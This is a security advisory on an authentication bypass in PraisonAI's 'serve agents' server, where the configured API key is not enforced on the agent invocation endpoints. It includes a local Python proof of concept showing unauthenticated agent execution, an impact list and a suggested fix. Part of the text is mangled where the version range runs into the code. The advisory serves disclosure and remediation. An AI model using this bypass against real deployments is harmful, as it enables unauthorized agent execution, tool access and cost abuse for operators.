PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution

Summary

PraisonAI's praisonai serve agents command exposes --api-key as the documented authentication control for production/external deployments, but the configured key is not enforced on the public agent invocation compatibility endpoints.

An operator can start the server with --api-key and bind it to 0.0.0.0, but any network- reachable caller can still invoke agents through POST /agents or POST /agents/ {agent_name} without Authorization, X-API-Key, a query token, or any other credential.

Confirmed vulnerable:

• v4.6.48 / commit d5f1114aaf1a2e9f121a6e66b929149ca2201f1d
• v4.6.34 / commit e5928449f73f66cc8af1de61621aa974ab255133

Likely affected range: `>= 4.6.34, None: from fastapi.testclient import TestClient from praisonai.cli.features.serve import ServeHandler from praisonai.api import agent_invoke

  with tempfile.TemporaryDirectory() as tmp:
      agents_yaml = Path(tmp) / "agents.yaml"
      agents_yaml.write_text(
          "roles:\n"
          "  placeholder:\n"
          "    role: Placeholder\n"
          "    goal: Placeholder\n"
          "    backstory: Placeholder\n",
          encoding="utf-8",
      )

      handler = ServeHandler()
      app = handler._create_agents_app(
          {
              "file": str(agents_yaml),
              "host": "0.0.0.0",
              "port": 8000,
              "path": "/agents",
              "reload": False,
              "api_key": "operator-secret-api-key",
          }
      )

      fake_agent = FakeAgent()
      agent_invoke.register_agent("poc", fake_agent)

      client = TestClient(app)
      response = client.post(
          "/agents/poc",
          json={"query": "unauthenticated request"},
      )

      print(f"STATUS_CODE={response.status_code}")
      print(f"RESPONSE_JSON={response.json()!r}")
      print(f"AGENT_CALLS={fake_agent.calls!r}")
      print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated
      request']}")

if name == "main": main()

Run:

cd /path/to/PraisonAI python3 praisonai-serve-agents-api-key-bypass.py

Observed output:

STATUS_CODE=200 RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'} AGENT_CALLS=['unauthenticated request'] UNAUTHENTICATED_AGENT_EXECUTED=True

The important condition is that the app was configured with:

"api_key": "operator-secret-api-key"

but the request was sent without any auth header:

client.post("/agents/poc", json={"query": "unauthenticated request"})

The agent still executed and returned HTTP 200.

Impact

Any attacker who can reach a praisonai serve agents server can invoke configured agents even when the operator explicitly configured --api-key.

Impact depends on the configured agents and their tools, but can include:

• unauthorized LLM/API usage and provider cost consumption;
• execution of agent workflows;
• access to connected tool integrations;
• reads/writes through file, database, cloud, browser, MCP, or messaging tools;
• availability impact from repeated or long-running agent invocations.

This is especially risky because the documented production pattern recommends using --api- key when binding the server publicly.

Suggested fix

Fail closed when --api-key is configured and require it on every agent invocation route in the serve agents app.

Recommended changes:

• In _create_agents_app(), derive an auth dependency from config.get("api_key").

• Apply it to both POST {path} and POST /agents/{agent_name}.

• Prefer Authorization: Bearer . Optionally also support X-API-Key for compatibility.

• Use constant-time comparison for the expected key.

• Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN.

• Add tests proving:

  • key configured + no header returns 401/403;
  • key configured + wrong header returns 401/403;
  • key configured + correct header executes;
  • both /agents and /agents/{agent_name} are covered.